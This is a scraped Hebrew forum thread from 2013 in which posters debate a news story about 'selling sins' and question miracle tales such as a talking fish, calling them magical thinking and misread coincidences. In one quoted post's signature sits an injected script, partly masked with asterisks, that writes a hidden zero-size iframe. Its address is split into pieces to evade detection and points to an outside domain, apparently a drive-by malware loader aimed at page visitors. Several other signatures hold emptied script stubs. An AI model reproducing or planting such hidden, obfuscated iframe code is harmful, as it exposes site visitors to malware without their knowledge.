| נשלח ב-15/6/2013 21:25 |
 |
| |
סוד הינשוף http://www.bhol.co.il/Article.aspx?id=55630 הקטע הכי יפה לטעמי: "רב בית המדרש, הגאון רבי ישעיהו רוטנברג, שנשאל על כך - לא ידע מה להשיב לשואלים". מחזק את ההרגשה כי דווקא אתרי האינטרנט הכאילו פחות "סגורים" משמשים כר פורה להפצת והמצאת הבלים. הם גם נותנים בזה יותר אמון והשפה הירודה והרדודה הופכת את השיח לגרוטסקי על גבול הביזרי זו תופעה מעניינת בפני עצמה.
|
|
|
|
| נשלח ב-16/6/2013 07:32 |
|
| |
כעת ראיתי את הסיפור על מכירת העוונות לנהג הגוי.
ועל ההמשך כאשר המוכר טבע באגם ומת. מסכן.
שתי הערות. ואני מתחיל מהסוף.
ב. מדוע הוא מת? האם ליבו אמר לו שהוא הולך למות ולכן רצה למכור עבירות ולהיות נקי, או שההתעסקות בעבירות והפחד מהן גרמו לו למצב נפשי קשה שתרם למותו?
א. מה זה "למכור עוונות"? יש כאן שתי טעויות, והאחת נובעת מבורות. עד כמה שידוע לי, אין דבר כזה "למכור עוונות". (לכל היותר יש סיפור על אדמור שאמר לחסידו למכור מחלה שיש לו לגוי, וגם זה משונה מאד, וזה טוב כמובן פסיכוסומטית). כל התפיסה שאפשר למכור עוונות או אפילו עונשים היא גישה מאגית. אולי צריך לבאר למה אני מתכוון במילים אלו?
הטעות האחרת היא שצריך למכור עוונות כדי להתפטר מהם. וזו בורות. אפילו כתלמיד של ר' נחמן היה עליו לידע שאין שם אלא תשובה: חרטה, וידוי דברים, עזיבת החטא, קבלה לעתיד. ובכך האדם נקי מכל העוונות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-16/6/2013 11:28 |
|
| |
מיימוני,
יסוד היסודות וכו' של הכלכלה הקפיטליסטית הוא, שכל עוד יש מוכר ויש קונה, ניתן למכור הכל.
ואיביי יוכיח.
|
|
|
|
| נשלח ב-16/6/2013 21:43 |
|
| |
| מיימוני כתב: |  | הדג המדבר
ועוד סיפורי מופתים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לא מסכים, (מחילה).
יש הבדל ברור בין היטפלות לצירופי מקרים נפוצים יותר או פחות (בהנחה שזהו סיפורו של עץ האתרוגים),
לבין סיפורי מופת על דברים שלכאורה מעולם לא התרחשו במציאות.
באשר לסוג הראשון משתמשים בה גם אנשים רציונלים לחלוטין מימות יהושע בן נון עד הנה,
והסיבה לשימוש היא משום שההנחה הפשוטה אצל מחשבי חשבונות האלוקים, הוא שיש סיבה ומסובב ועובדה שהצירוף גלוי לעיניהם מובילה אותם לחשוב אותו כראיה שזה הסיבה וזה המסובב.
לא כן סיפורי הדמיונות מהסוג של הדג המדבר, שהם נחלתם של חלק ספציפי מאוד (ואולי לא מאוד, אבל ספציפי) בעם ישראל.
|
|
|
|
| נשלח ב-16/6/2013 23:15 |
|
| |
לאמור
איקון ירוק.
צדקת ממני, אבל כמדומה שאוכל לקיים את דברי.
גם הדג המדבר וגם העץ שיבש, אם יבש, הם אירועים שפורשו באופן מוטעה. וכל אחד מהם ניתן להסבר אחר, ולפעמים באופן שסותר לגמרי את כוונתו של המספר המאמין.
אמנם יש מקום לחשוד שהדג המדבר לא היה ולא נברא ואילו העץ יתכן שהיה וגם יבש אלא שיש לכך הסבר אחר. וכן יש לשער גם לגבי דברים אחרים שהוזכרו כאן או באשכול המקביל על הדג המדבר.
ובזה צדקת.
אבל הסיבה שאני משייך את כולם לאותו סוג היא לא מידת האפשרות שדג ידבר או שעץ יפרח או ימות לפי מה שעובר על צדיק או ת"ח פלוני, אלא על הנטיה לפרש אירועים כאילו הם מכוונים באופן מוגזם לתועלתו של אדם פרטי או בכל אופן חריג אחר כפי שמובא כאן ושם.
הפרשנות הבעייתית, לדעתי, היא הנושא שמאחד את כל הסיפורים והמעשים, למרות ההבדל החשוב שהצבעת עליו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
